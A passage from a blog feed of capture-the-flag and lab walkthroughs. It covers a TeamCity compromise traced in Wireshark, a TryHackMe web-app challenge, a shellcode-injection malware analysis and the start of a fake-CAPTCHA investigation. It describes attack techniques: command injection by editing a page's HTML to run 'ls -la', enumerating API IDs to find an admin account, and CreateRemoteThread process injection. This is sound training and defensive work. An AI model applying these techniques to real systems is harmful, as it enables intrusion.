attacker\u0026rsquo;s IP to the exposed port 8111 over http:\ntcp.port == 8111 \u0026amp;\u0026amp; http \u0026amp;\u0026amp; ip.src_host == 95.164.9.144\nWith our new filters in place, we can scroll through the packets until we stumble upon a POST request to the resource /app/rest/users. This API endpoint appears to be used for user creation.\nSelecting the first one we found (packet 4814), we can confirm this as the packet details contain evidence of user creation and password assignment.\nWireshark: Identifying user creation through a POST request\nThis method provides a reliable way to track user creation at the packet level through HTTP POST requests to the exposed port which we can use to determine the first user created and answer Question 8. Good find!\nQuestion 9: The attacker used the newly created user to upload a web shell. What endpoint was used to upload the web shell? To answer Question 9, we need to identify the endpoint used to upload a web shell. Referring to the Rapid7 blog again, we learn that another post-exploitation indicator of compromise (IOC) in this attack is the upload of a malicious plugin.\nBy searching for an endpoint in the Wireshark traffic associated with this activity, we can determine which one was used. Scrolling through the packets, we stumble on packet 4939, which is an HTTP POST request to the /admin/pluginUpload.html endpoint — this seems to be the likely answer.\nWireshark: Finding evidence of an upload endpoint\nBased on the evidence, it seems that this endpoint is used to manage TeamCity plugins and that the attacker\u0026rsquo;s web shell is disguised as a plugin.\nQuestion 10: The attacker uploaded a web shell using the newly created user. What is the full URL of the uploaded web shell? Now that we\u0026rsquo;ve identified the endpoint the web shell was uploaded to, we need to determine the full URL of the web shell itself. You may have noticed in Question 9 that the packet details included a filename: 5z6p8kCA.zip.\nWireshark: Identifying the web shell filename\nLet\u0026rsquo;s get more information by following the TCP stream for the packet we found in the previous question (4939). Once in the TCP stream window, search for the filename of the web shell. We\u0026rsquo;ll see a POST request referring to a .jsp plugin with the same name.\nWireshark: Identifying the resource path of the uploaded web shell\nFrom this, we can infer the full URL of the uploaded web shell:\nhttp://18.159.50.167:8111/plugins/5z6p8kCA/5z6p8kCA.jsp\nQuestion 11: The attacker created another user named 41m67llo and uploaded another web shell. What is the name of the ZIP file that was uploaded? We\u0026rsquo;re closing in on the end of our investigation and are provided with an extremely helpful detail that\u0026rsquo;ll help us identify the second web shell quickly — the username 41m67llo.\nSince we already have this detail, we can leverage Wireshark\u0026rsquo;s string search function to quickly locate the first packet containing this username, which lets us examine the TCP stream.\nFirst, press the magnifying glass icon above the filter box. Then select Packet Details to search the packet details pane. Finally, change the search type to String and enter the username.\nWireshark: Locating the provided username in the packet details\nThe search brings us to packet 6553 — you know the drill, follow the TCP stream:\nWireshark: Following the TCP stream for the identified user\nOnce inside the TCP stream window, we\u0026rsquo;ll use the search function again to look for the string \u0026quot;upload\u0026quot; since we\u0026rsquo;re looking for another web shell upload. This reveals the filename of the second web shell: V5HwJgS3.zip.\nWireshark: Locating the second web shell in the TCP stream\nQuestion 12: The attacker created a file on the system containing some text. What is the text inside that file? On to our final objective — discovering a text file left behind by the attacker. To do this, we\u0026rsquo;ll continue working in the same TCP stream window we used in the last question, this time searching for .txt, since that\u0026rsquo;s the most likely plain text format used.\nOnce we run the search, we\u0026rsquo;ll see a command using echo to pipe the attacker\u0026rsquo;s message into a file named file.txt.\nTo make the message more readable, we can remove some of the URL encoding. A quick way to do this is to use the Wireshark string search again for a recognizable string from the message (like \u0026quot;BUDD\u0026quot;) in the main Wireshark window, now that we understand the context.\nThis takes us to the corresponding packet where we can see the command and the text piped into the file. Well, that\u0026rsquo;s a sobering message to read! This confirms that our TeamCity server was compromised and under the attacker\u0026rsquo;s control.\nConclusion: Mission Complete!\nHow fun was that! A huge thank you to LetsDefend for providing another awesome challenge.\nThis scenario gave us the opportunity to walk through a full TeamCity server compromise: from initial log review to uncovering attacker behavior and identifying post-exploitation artifacts. By leveraging Velociraptor\u0026rsquo;s collection capabilities, analyzing the packet captures with Wireshark, then correlating the evidence with external threat intelligence, we were able to piece together a timeline of events that started with an unauthenticated exploit and ended with multiple web shells and a notice of pwnage left on the system.\nThe attacker\u0026rsquo;s use of CVE-2024€“27198 to bypass authentication and gain remote code execution on a vulnerable TeamCity server is a stark reminder of the importance of timely patching.\nI chose this challenge to get more familiar with Velociraptor, and I didn\u0026rsquo;t realize going in that we wouldn\u0026rsquo;t be using the GUI interface to perform the investigation. I was a little caught off guard, but found it really interesting and valuable to learn how the offline collector works and what artifacts are available from this mode — maybe not the lesson I was looking for initially, but it ended up pretty cool.\nI always enjoy trying to determine what specific vulnerability may have been exploited based on the available evidence. So often in vulnerability management, the focus is on prevention — so it\u0026rsquo;s interesting when it turns into a challenge of detection. Awesome stuff!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful, don\u0026rsquo;t forget to give it a clap! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://app.letsdefend.io/challenge/velociraptor\nVelociraptor: https://docs.velociraptor.app/\nVelociraptor — Triage and acquisition: https://docs.velociraptor.app/docs/offline_triage/\nVelociraptor — client_info: https://docs.velociraptor.app/vql_reference/server/client_info/\nVelociraptor — flows: https://docs.velociraptor.app/docs/gui/debugging/client/client_flows/\nWireshark: https://www.wireshark.org/\nIPinfo.io: https://ipinfo.io/95.164.9.144?lookup_source=search-bar\n**Krebs on Security \u0026quot; # \u0026quot;\nStark Industries Solutions: An Iron Hammer in the Cloud\u0026quot; ** : https://krebsonsecurity.com/2024/05/stark-industries-solutions-an-iron-hammer-in-the-cloud/\nSOCRadar - IOC Radar: https://socradar.io/labs/app/ioc-radar/95.164.9.144\n**Rapid7 — \u0026quot; # \u0026quot;\nCVE-2024€“27198 and CVE-2024€“27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)\u0026quot; :** https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/\nNational Vulnerability Database — CVE-2024€“27198: https://nvd.nist.gov/vuln/detail/cve-2024-27198\n","date":"2025-09-07T00:00:00Z","image":"/posts/letsdefend-velociraptor-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png","permalink":"/posts/letsdefend-velociraptor-challenge-walkthrough/","title":"LetsDefend — Velociraptor Challenge Walkthrough"},{"content":"TryHackMe — Traverse Challenge Walkthrough Investigating and Restoring a Compromised Web Application Using a Web Browser, OWASP ZAP, and Postman Image Credit: https://tryhackme.com/room/traverse\nIntroduction: Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to the Traverse challenge from TryHackMe, you’re in the right spot. This challenge is a fantastic deep dive into investigating a compromised web application — let’s check out the scenario below.\nChallenge Scenario: Bob is a security engineer at a firm and works closely with the software/DevOps team to develop a tourism web application. Once the website was moved from QA to Production, the team noticed that the website was getting hacked daily and wanted to know the exact reason. Bob consulted the blue team as well but has yet to be successful. Therefore, he finally enrolled in the Software Security pathway at THM to learn if he was doing something wrong.\nIt sounds like we’ve got our work cut out for us to get Bob and his team back on track. But unlike Bob, we’ve already completed the Software Security pathway — and this challenge is one of its capstones, tying together all the key concepts. That means we’re well equipped to tackle this challenge. We’ll explore topics like the OWASP Top 10, SSDLC, Dynamic Application Security Testing, and more.\nTo accomplish this, we’ll leverage our knowledge of web applications and use tools like OWASP ZAP and Postman to complete our objectives. Sounds like fun, right? Let’s get into it!\nIn the spirit of learning, this write-up is spoiler-free_._ But, if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nQuestion 1: What type of encoding is used by the hackers to obfuscate the JavaScript file? Let’s kick off this investigation by spinning up the challenge virtual machine and launching your TryHackMe AttackBox.\nOur first task is to determine what encoding is used to obfuscate the JavaScript file. To do this, open the Firefox browser from the AttackBox and navigate to the URL for the challenge. Once the page loads, we’ll see that the website has been defaced with a message from the attacker — uh oh!\nBrowser: Navigating to the defaced web site\nFor our purposes, we’ll need to leverage the browser’s Developer Tools to identify any JavaScript files loaded by the website and see if we can find anything suspicious. First, press F12 to load up the developer tools.\nBrowser: Using developer tools to identify JavaScript loaded by the page\nOn the Inspector tab, we’ll discover two commented JavaScript files, but the one we’re interested in is custom.min.js, indicated by the comment \u0026ldquo;THIS IS CUSTOM JS FILE.\u0026ldquo;Let’s flip over to the Network tab of the developer tools. Select the JS filter to help us quickly locate the two scripts. Then, select the custom.min.js file and click the Response tab.\nBrowser: Identifying the encoded JavaScript payload\nWithin the response payload, we can see a suspicious comment likely left by the attacker. Right below it, we see that the payload is obfuscated. Based on the format, we can determine the encoding.\nSince this walkthrough doesn’t contain spoilers, you’ll have to figure out which common encoding method is used on your own. We’ll confirm this in Question 2 once we start decoding operations.\nQuestion 2: What is the flag value after deobfuscating the file? Now that we’ve identified the encoded payload, our next objective is to decode it and uncover the flag hidden within. We can accomplish this by leveraging CyberChef, which is conveniently bookmarked in the AttackBox’s Firefox browser.\nAfter opening CyberChef, paste the encoded payload into the input window. Since we already know the type of encoding from Question 1, we’ll need to add the “From [Redacted]” operation to the recipe.\nCyberChef: Decoding the JavaScript payload\nOnce the operation completes, look for a function resembling (\u0026quot;Flag: \u0026quot;+n+\u0026quot; \u0026quot;+e+\u0026quot; \u0026quot;+o+\u0026quot; \u0026quot;+i). This is our clue. All we need to do now is refer to the variables n, e, o, and i. Each one is assigned a dictionary word. When we combine them, we get the flag — and a hint to continue our investigation.\nQuestion 3: Logging is an important aspect. What is the name of the file containing email dumps? To answer Question 3, we need to map any additional URLs on the compromised web application — specifically any resource that could contain email dumps.\nFor this challenge, we’ll leverage the Spider capabilities of the OWASP ZAP tool**,** which was covered in the Dynamic Application Security Testing room of the Software Security module. For context, according to the ZAP documentation, the Spider is:\nA tool that is used to automatically discover new resources (URLs) on a particular Site. It begins with a list of URLs to visit, called the seeds, which depends on how the Spider is started. The Spider then visits these URLs, it identifies all the hyperlinks in the page and adds them to the list of URLs to visit and the process continues recursively as long as new resources are found.\nSo, the idea is that by leveraging the Spider, we can automatically discover new resources and not have to manually hunt through the browser — awesome! Let’s try it out.\nFirst, press the Tools menu and select Spider. Once the Spider’s Scope window opens, add your Challenge Machine IP to the starting point field, tick the recurse option, and press Start Scan.\nZAP: Configuring the Spider\nOnce the enumeration finishes, we’ll be able to see all the discovered resources in the left-hand column. Since we’re looking specifically for logs, expand the logs node. Notice the .txt file? This is the file containing the email dumps that we’re searching for.\nBy using ZAP’s Spider capability, we’ve quickly identified this file.\nZAP: Reviewing the Spider results\nQuestion 4: The logs folder contains email logs and has a message for the software team lead. What is the name of the directory that Bob has created? Now that we’ve discovered the URL of the email logs, we can right-click the entry from ZAP and select “Open URL in Browser.” This will open the resource in your web browser so we can read the contents.\nBrowser: The contents of email_dump.txt\nInside email_dump.txt, we’ll find a message from Bob sent to Mark, the software team lead. It contains a clue pointing to the location of a directory Bob created. He mentions: \u0026ldquo;I named the API folder under the name of the first phase of the SSDLC.\u0026ldquo;So, what is the first phase of the SSDLC? This was covered in the SSDLC room of the TryHackMe Software Security module. We just need to refer back to the Phases of Secure Software Development Life Cycle diagram to determine the name of the folder Bob created, containing the API documentation.\nImage Credit: https://tryhackme.com/room/securesdlc\nQuestion 5: What is the key file for opening the directory that Bob has created for Mark? Another handy clue that Bob left for Mark in his email is the key to accessing the page contents — thanks, Bob!\nBrowser: Identifying the password in email_dump.txt\nOur next task is to use this password to access the API documentation. Let’s check it out!\nQuestion 6: What is the email address for ID 5 using the leaked API endpoint? Now that we’ve identified the URL and key to access the API documentation in the last two questions, let’s navigate to it in the browser:\nhttp:///\u0026lt;QUESTION 4 ANSWER\u0026gt;\nUpon accessing the page, we’ll be challenged for a password — this is where we can use the credential we found in Question 5.\nBrowser: Accessing the API Documentation\nNow that we’ve accessed the page, we can check out the API documentation, which gives us detailed instructions on how to query specific customers by ID — awesome!\nBrowser: Accessing the API documentation\nSo, we have API documentation, but how do we actually query these customer IDs? For this task, we’ll switch to the application Postman, an all-in-one API platform. Postman is pre-installed on the THM AttackBox, with a shortcut located in /root/Desktop/Tools/Web.\nGo ahead and open Postman. Here’s how we’ll build our query using Bob’s API documentation as a reference:\nSet the HTTP Method to GET Input the URL of your challenge machine: http://\u0026lt;YOUR CHALLENGE IP\u0026gt;/api Set the Query Parameters: KEY = customer_id VALUE = 5 Press Send Postman: Building the API query\nThis will create a request that matches the requirements of the API documentation and allows us to query the web app for a customer ID of 5. Press Send to send the request.\nPostman: Identifying the email address of user ID 5\nThis will return the data for the user with ID 5, John, including his email address, which we need to answer Question 6.\nQuestions 7 \u0026amp; 8: What is the ID for the user with admin privileges? What is the endpoint for logging in as the admin? Mention the last endpoint instead of the URL. For example, if the answer is URL is tryhackme.com/admin — Just write /admin. To answer Questions 7 \u0026amp; 8, we’ll need to first identify a user with the admin role, and then locate the login endpoint used to access administrative functions. We already know that John (a regular user) is ID 5, so we’ll start by changing the query VALUE and checking lower numbers like 1, 2, 3, 4, etc.\nEventually, our manual enumeration efforts pay off and we stumble upon the ID related to the admin role.\nPostman: Identifying the admin user\nNot only did we discover the admin user with our query, but we also uncovered the login endpoint used to access the administrative functions of the web app.\nThese are good reminders of how easily sensitive information can be disclosed without proper access controls. Lock it down!\nQuestions 9 \u0026amp; 10: The attacker uploaded a web shell and renamed a file used for managing the server. Can you find the name of the web shell that the attacker has uploaded? What is the name of the file renamed by the attacker for managing the web server? For our next two tasks, we’re going to leverage the exposed credentials and login endpoint we found in Questions 7 \u0026amp; 8 to access the admin page through the browser.\nUse your browser to connect to the endpoint and input the credentials when prompted.\nBrowser: Accessing the admin login endpoint\nOnce we’ve gained access to the Admin Page, we’ll see that we have the ability to execute commands on the underlying server. For example, we have the Current Directory and System Owner commands. Executing each of them seems to trigger different system-level commands: pwd lists the current directory, and whoami lists the current user.\nBut what if there’s a way to execute additional commands from this same admin page?\nBrowser: The Admin Page command execution interface\nLet’s press F12 to open the browser’s developer tools again. This time, we’ll inspect the command input field. Notice anything interesting?\nBrowser: Inspecting the command execution elements\nWe can see that our theory was correct. The two available commands are simply executing whoami and pwd on the web server’s operating system. Let’s test if this field is vulnerable to command injection by adding an additional command.\nTo do this, right-click the \u0026lt;select name=\u0026quot;commands\u0026quot;\u0026gt; tag and edit the HTML to add another command to list the contents of the current directory. For this example, we’ll use ls -la — who knows, maybe we’ll find the web shell.\nBrowser: HTML Manipulation\nNow that we’ve edited the HTML on the client side, let’s execute our new List Contents command.\nBingo! By executing this command, we’ve successfully revealed the web server’s directory contents and uncovered some very valuable information, including the two file names we need to answer Questions 9 \u0026amp; 10. This confirms that the web application is vulnerable to command injection.\nFor additional context on this technique, check out the OWASP Top 10:2021 page. Here’s a quote from the TryHackMe OWASP Top 10–2021 room:\nOWASP Top 10: 2021 — A04 — Command Injection: This occurs when user input is passed to system commands. As a result, an attacker can execute arbitrary system commands on application servers, potentially allowing them to access users’ systems.\nQuestion 11: Can you use the file manager to restore the original website by removing the “FINALLY HACKED” message? What is the flag value after restoring the main website? We’ve made it to our final objective — restoring the website to its original state before the hack. The cool part is that this task builds directly off the information we uncovered in Question 10 — specifically, the filename of the original file manager for this web app.\nNavigate to the renamed URL from Question 10 to access the file manager. We’ll also need the password, which we also discovered after listing the web server contents with our ls -la command. This will allow us to log in and begin restoring the site.\nBrowser: The Admin File Manager login page\nOnce inside the file manager, locate and open the index.php file with the Edit action.\nFile Manager: Identifying the index.php file\nInside the editor, we’ll see the message header “FINALLY HACKED.” Looking further down the PHP code, there’s a condition: if the $message variable does not equal \u0026ldquo;FINALLY HACKED\u0026rdquo;, the final flag will be displayed.\nLet’s go ahead and remove the $message variable, save the file, and reload the web app’s home page.\nWith the defacement removed, we’re rewarded with the final flag on the restored website. Great job! Now let’s wrap up this challenge.\nConclusion: How fun was that! A big thank you to TryHackMe for another awesome challenge.\nThis challenge was a great capstone for the Software Security module and tied together so many concepts covered in the content. It offered a realistic example of how layered vulnerabilities like exposed credentials, weak access controls, and command injection can compound into full web server compromise.\nAs we moved through the investigation, we not only followed the attacker’s trail but also restored the integrity of the web application. Of course, this is only a short-term fix, and Bob definitely has his work cut out for him to get this app properly locked down.\nI chose this week’s challenge to start wrapping up the Security Engineer path and get some hands-on practice investigating compromised web applications while testing my knowledge of the Software Security modules. It was a rewarding experience as each question segued perfectly into the next, and the investigation felt linear and logical. As an added bonus, I’ve been using Postman more in my day job, so getting extra reps in was a real plus. Great stuff!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to give it a clap! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!\nUntil next week’s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://tryhackme.com/room/traverse\nCyberChef: https://gchq.github.io/CyberChef/\nZAP Proxy Documentation — Spider: https://www.zaproxy.org/docs/desktop/addons/spider/\nPostman: https://www.postman.com/\nOWASP Top 10 — A03 — Injection: https://owasp.org/Top10/A03_2021-Injection/\n","date":"2025-08-24T00:00:00Z","image":"/posts/tryhackme-traverse-challenge-walkthrough/41bfc0c461309f526e8057c27cbe947a_MD5.png","permalink":"/posts/tryhackme-traverse-challenge-walkthrough/","title":"TryHackMe  —  Traverse Challenge Walkthrough"},{"content":"Blue Team Labs Online — Reverse Engineering — A Classic Injection Challenge Walkthrough A Malware Analysis Challenge Using Ghidra and ProcMon Image Credit: https://blueteamlabs.online/\nIntroduction: Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to the Reverse Engineering — A Classic Injection challenge from Blue Team Labs Online, you’re in the right place. This challenge is a fantastic introduction to malware reverse engineering using both static and dynamic analysis techniques — let’s check out the scenario below.\nChallenge Scenario: Analyse the attached EXE sample and find answers to the following questions. Note: The EXE uses shellcode generated by the Metasploit attack framework. Make sure you analyse the sample in contained environment (we recommend a virtual machine where internet access is disabled).\nFor this challenge, we’re provided a malicious executable file generated by Metasploit. Our job is to dig into the binary to understand what the malware is capable of and how it works.\nTo perform this investigation, we’ll gather information about the malware and its capabilities by performing static code analysis using Ghidra. Once we’ve learned more about how the malware functions, we’ll pivot to dynamic analysis by executing the malware and capturing system activity for further inspection. By combining both techniques, we’ll build a comprehensive understanding of how the malware operates.\nSounds like fun, right? Let’s get into it!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nSetup the Analysis Environment \u0026amp; Extract the Challenge File: Safety first! It’s always important to heed the warning when working with lab/challenge files from BTLO (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment.\nFor example, I’m using FLARE-VM for this challenge: “a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).”\nTo keep this write-up focused I’m going to skip a step-by-step setup of FLARE-VM, but if you’d like to set up your own environment, please follow the directions provided directly by FLARE-VM on GitHub.\nGitHub — mandiant/flare-vm: A collection of software installations scripts for Windows systems that… _A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com\nOnce you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!\nQuestion 1: What is the name of the compiler used to generate the EXE? Let’s kick off our investigation! First things first: unzip the challenge file archive, then unzip the inner .ZIP file to expose the sample, analyseme.exe.\nFile Explorer: The location of the malware sample.\nTo answer Question 1, we need to determine the compiler used to generate the executable. For this task, we can use a file identification tool like PEiD, which comes bundled with Flare-VM. This is a good first step in any malware reverse engineering workflow to learn more about the binary and inform the next investigative steps.\nAfter opening PEiD, drag the analyseme.exe file into the application to perform the analysis.\nPEiD: Identifying the compiler\nAt the bottom of the window, we’ll see Microsoft Visual C++ 8 — this is the name of the compiler used to create the executable.\nQuestion 2: This malware, when executed, sleeps for some time. What is the sleep time in minutes? Now that we’ve identified the compiler, it’s time to jump into a disassembler and start statically analyzing the sample.\nFor this task, we’ll use Ghidra, another tool built into Flare-VM. Now, full disclosure — I have little experience with Ghidra outside of a lab or two. So, for some background on what Ghidra is, let’s refer to the project’s GitHub before we stumble through this together:\nGhidra is a software reverse engineering (SRE) framework created and maintained by the National Security Agency Research Directorate. This framework includes a suite of full-featured, high-end software analysis tools that enable users to analyze compiled code on a variety of platforms including Windows, macOS, and Linux. Capabilities include disassembly, assembly, decompilation, graphing, and scripting, along with hundreds of other features.\nNow, let’s launch Ghidra. When it starts up, we’ll create a project, drop in the analyseme.exe, and let Ghidra perform the initial analysis. Once that\u0026rsquo;s completed, we\u0026rsquo;ll have the symbol tree displayed on the left, the listing contents in the center, and the decompile window on the right.\nTo answer Question 2, we’re looking for a sleep function to determine how long the malware sleeps after execution. To orient ourselves, let’s search the program text for \u0026quot;sleep\u0026quot; by pressing Search, then Search Program Text, and entering sleep in the Search For field.\nGhidra: Searching for the references to sleep\nSelecting the entry in the search takes us directly to the referenced pointer in the listing window. Notice the DWORD dwMilliseconds? Keep that in mind. Next, let\u0026rsquo;s figure out where this is referenced by clicking FUN_00401220:00401252 (R) which I\u0026rsquo;ve highlighted below.\nGhidra: Clicking the associated function\nNow, focusing on the decompile window on the right-hand side of Ghidra. Here we see a value of [Sleep(180000)](https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-sleep).\nGhidra: Identifying the sleep value\nRecall the DWORD dwMilliseconds we flagged earlier? All we have to do now is convert 180000 milliseconds to minutes, and we’ve got our answer:\n180000 milliseconds = 3 minutes\nQuestion 3: After the sleep time, it prompts for user password, what is the correct password? For our next task, we need to discover the correct password required to execute the malware after the sleep time we found in Question 2. This likely means we’re looking for an if statement that checks for a specific password.\nOne way to approach this is to use Ghidra to search for text strings in the application that might indicate a hardcoded password. To do this, press Search \u0026gt; String Search to get an overview of strings that appear in the binary. But first, let’s change the minimum length from 5 to 3 — just in case the password is shorter than 5 characters because, security 😋.\nGhidra: String search interface\nAfter reviewing the results, we’ll stumble on an interesting string, btlo, with the label DAT_00403210 — this sticks out as a bit odd.\nGhidra: Identifying interesting string\nClicking the string brings us back to FUN_00401220, where we previously identified the sleep timer. In the decompile window, it seems this string is tied to an if statement, leading us to the conclusion that this is probably the correct password.\nGhidra: Analyzing the location of the string in the function\nThis is only a lucky guess approach since we don’t know for sure that this is the password we’re looking for just yet. We’ll validate this later in the challenge when we execute the malware, but we can submit the flag to check our work.\nQuestion 4: What is the size of the shellcode? Keep scrolling down in FUN_00401220 and we’ll discover a call to VirtualAllocEx on line 106. According to Microsoft Learn, the VirtualAllocEx function reserves a memory region within the virtual address space of a target process. Given the context of this investigation, it seems likely this could be used for process injection.\nIf you’re unfamiliar with this technique, I\u0026rsquo;ll include a short description from MITRE ATT\u0026amp;CK: T1055 — Process Injection:\nProcess injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges.\nGhidra: Identifying the shellcode size\nThis question feels a little out of order since we’ll learn more about the method of shellcode injection and the victim process in the next couple of questions.\nFor the purposes of Question 4 we’ll need the decimal value of the memory allocation. Hover over the hex value 0x1d9 to see the automatic conversion — which is 473.\nQuestion 5: Shellcode injection involves three important windows API. What is the name of the API Call used? We got a little ahead of ourselves while investigating Question 4 and spoiled the fun. Question 5 confirms we’re looking at shellcode injection, and now we need to determine which API call is used to perform it.\nLet’s pull back and lean on the reference link provided by BTLO for the challenge:\nCreateRemoteThread Shellcode Injection | Red Team Notes _Injecting shellcode into a local process._www.ired.team\nThis is an excellent reference point to help explain what we’re seeing: injecting shellcode into a remote process using [CreateRemoteThread](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread). The proof-of-concept payload included in the blog even features something we saw in the last question, creating the VirtualAllocEx to accommodate the shellcode.\nLet’s flip back to the sample we’re analyzing in Ghidra. A few lines further down in the code (line 108), we’ll see a reference to this exact API — CreateRemoteThread.\nGhidra: Identifying the shellcode injection API call\nThis confirms that the sample we’re analyzing matches the technique discussed in the Red Team Notes blog.\nQuestion 6: What is the name of the victim process? So, let’s put this all together: in Question 4, we determined where the injection happens using the VirtualAllocEx function. In Question 5, we learned how the injection is performed using CreateRemoteThread. The last thing we need to determine is what victim process was injected, right?\nFor this, jump up to line 101 in Ghidra, where we can see a call to CreateProcessW. The target process being launched is nslookup.exe, a trusted Windows binary. Because it blends into legitimate operations, using it can make malicious activity more difficult to detect. Very sneaky!\nGhidra: Identifying the victim process\nImportantly, this confirms that nslookup.exe is the victim process (the one receiving the injected shellcode).\nQuestions 7, 8, \u0026amp; 9: What is the file created by the sample What is the message in the created file What is the program that the shellcode used to create and write this file For our final three tasks, we need to uncover what this malware sample does after execution. To do this, we’re switching gears — moving away from static analysis in Ghidra to dynamic analysis by actually executing the malware and capturing runtime behavior.\nWe’ll use Process Monitor (ProcMon) from the Microsoft Sysinternals suite. Process Monitor is “an advanced monitoring tool for Windows that shows real-time file system, Registry, and process/thread activity.”\nUsing this utility helps us collect insights into what the malware does upon execution. First, launch ProcMon and let it run to capture system activity.\nNext, double-click and execute the analyseme.exe sample. Immediately, a command prompt window opens with a ?. Remember the sleep timer from Question 2? We need to wait 3 minutes for the malware to continue…\nExecuting the malware for dynamic analysis\nOnce the 3 minutes have passed, we’re prompted for a password. Now we can finally validate the password string we identified in Question 3. Once the password is accepted, the window closes.\nInputting the password string into the malware\nBut what really happened? Let’s turn to ProcMon to see behind the scenes. In the main window, press the Process Tree view button, and search for the parent process analyseme.exe.\nProcMon: Identifying processes spawned by the malware\nWe’ll see that the malicious binary spawned a few child processes — including powershell.exe. Clicking the powershell.exe entry reveals an encoded (-enc) command line. Now we need to decode this command to understand what happened.\nTo decode the PowerShell command line, flip over to CyberChef. I used the version built into Flare-VM, but the online version works just as well.\nOnce CyberChef is open, paste the encoded command into the input field. Then, from the operations column on the left, add the From Base64 and Remove null bytes operations to the recipe.\nCyberChef: Decoding the PowerShell command line\nOnce the operation completes, the output window reveals the decoded contents of the command — giving us everything we need to answer the final three questions:\nThe shellcode executes powershell.exe, via the New-Item cmdlet to create a new file: btlo.txt The file is created in the C:\\Windows\\Temp directory The message written to the file is: “Welcome to BTLO!” Conclusion: There we have it, folks! After performing initial file identification with PEiD, we dove headfirst into Ghidra to run some static analysis and uncover the sleep time, password string, shellcode size, and the process injection technique used by this malware. Once we confirmed it was a shellcode injection, we identified the victim process. From there, we pivoted to dynamic analysis — executing the malware in our analysis environment and capturing system activity with ProcMon. That led us to a PowerShell command that created a file and wrote a message, giving us the final answers we needed.\nA big thank you to Blue Team Labs Online for another awesome challenge! Reverse engineering and static malware analysis are weaker spots in my skillset, so I like to keep these kinds of challenges in the rotation to continuously improve. There was some stumbling along the way, but leveraging Ghidra to analyze and decompile malware code is incredibly helpful for building foundational knowledge. While online sandboxes like ANY.RUN are popular for dynamic analysis, it’s always good to learn offline techniques like using ProcMon to dig deeper.\nAll in all, this was a valuable experience and a fun challenge for the week. Awesome stuff!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to give it a clap! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!\nUntil next week’s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://blueteamlabs.online/home/challenge/reverse-engineering-a-classic-injection-9791a9b784\nFlare-VM: https://github.com/mandiant/flare-vm\nGhidra: https://github.com/NationalSecurityAgency/ghidra\nMicrosoft Learn — Sleep Function: Sleep function (synchapi.h) — Win32 apps | Microsoft Learn\nMicrosoft Learn — VirtualAllocEx: https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex\nMITRE ATT\u0026amp;CK: T1055 — Process Injection: Process Injection, Technique T1055 — Enterprise | MITRE ATT\u0026amp;CK®\nMicrosoft Learn-CreateRemoteThread: https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread\nRed Team Notes — “CreateRemoteThread Shellcode Injection”: https://www.ired.team/offensive-security/code-injection-process-injection/process-injection\nSysinternals — Process Monitor: https://learn.microsoft.com/en-us/sysinternals/downloads/procmon\nCyberChef: https://gchq.github.io/CyberChef/\n","date":"2025-08-17T00:00:00Z","image":"/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/7ea07bc54f4d4f40ad271e55ddc48406_MD5.png","permalink":"/posts/blue-team-labs-online-reverse-engineering-a-classic-injection-challenge-walkthrough/","title":"Blue Team Labs Online  — Reverse Engineering  -  A Classic Injection Challenge Walkthrough"},{"content":"HackTheBox — Pikaptcha Sherlock Walkthrough Investigating a Fake CAPTCHA Attack Using Registry Explorer and NetworkMiner. Image Credit: https://app.hackthebox.com/sherlocks/Pikaptcha\nIntroduction: Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to the Pikaptcha Sherlock challenge from Hack The Box, you’re in the right place. Let’s check out this week’s scenario below.\nChallenge Scenario: Happy Grunwald contacted the sysadmin, Alonzo, because of issues he had downloading the latest version of Microsoft Office. He had received an email saying he needed to update, and clicked the link to do it. He reported that he visited the website and solved a captcha, but no office download page came back. Alonzo, who himself was bombarded with phishing attacks last year and was now aware of attacker tactics, immediately notified the security team to isolate the machine as he suspected an attack. You are provided with network traffic and endpoint artifacts to answer questions about what happened.\nFor this challenge, our job is to analyze the provided artifacts to learn about the suspected attack. We’ll need to uncover how the victim was compromised and determine what happened. By combining our findings from the endpoint and the network, we’ll be able to figure out exactly what happened.\nThis challenge is a fantastic introduction to endpoint registry analysis, network traffic analysis, and fake Captcha attacks.\nBut what’s in the toolkit for this investigation? The fun part is — there isn’t one right or wrong approach for this challenge. For this walkthrough, I’ll be demonstrating NetworkMiner and Eric Zimmerman’s Registry Explorer for the bulk of the analysis, but there are many other tools that can accomplish the same things — so feel free to use your preferred tools!\nSounds like fun, right? Let’s get into 